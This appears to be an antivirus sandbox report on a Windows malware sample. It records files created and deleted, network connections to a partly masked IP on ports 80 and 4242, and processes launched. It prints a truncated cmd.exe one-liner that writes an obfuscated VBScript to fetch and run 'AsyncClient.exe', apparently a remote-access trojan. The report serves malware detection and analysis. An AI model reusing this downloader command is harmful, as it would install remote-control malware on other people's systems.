Technical Information
Malicious functions
Executes the following (exploit)
- '<SYSTEM32>\cmd.exe' /c cd %TEMP% & @ECHO E3g= "http://18#.#47.138.212/AsyncClient.exe">> U0k.VBS &@ECHO L9q = J7j("h\G^q^")>>U0k.VBS &@ECHO Set D8t = CreateObject(J7j("flqfeKGqfeammi"))>> U0k.VBS &@ECHO D8t.Open J...
Modifies file system
Creates the following files
- %TEMP%\u0k.vbs
- %TEMP%\oc.exe
Deletes the following files
- %TEMP%\u0k.vbs
Network activity
Connects to
- '18#.#47.138.212':80
- '18#.#47.138.212':4242
TCP
- '18#.#47.138.212':4242
Miscellaneous
Creates and executes the following
- '<SYSTEM32>\wscript.exe' "%TEMP%\U0k.VBS"
- '%TEMP%\oc.exe'
- '<SYSTEM32>\cmd.exe' /c cd %TEMP% & @ECHO E3g= "http://18#.#47.138.212/AsyncClient.exe">> U0k.VBS &@ECHO L9q = J7j("h\G^q^")>>U0k.VBS &@ECHO Set D8t = CreateObject(J7j("flqfeKGqfeammi"))>> U0k.VBS &@ECHO D8t.Open J...' (with hidden window)
Executes the following
- '<SYSTEM32>\timeout.exe' 13
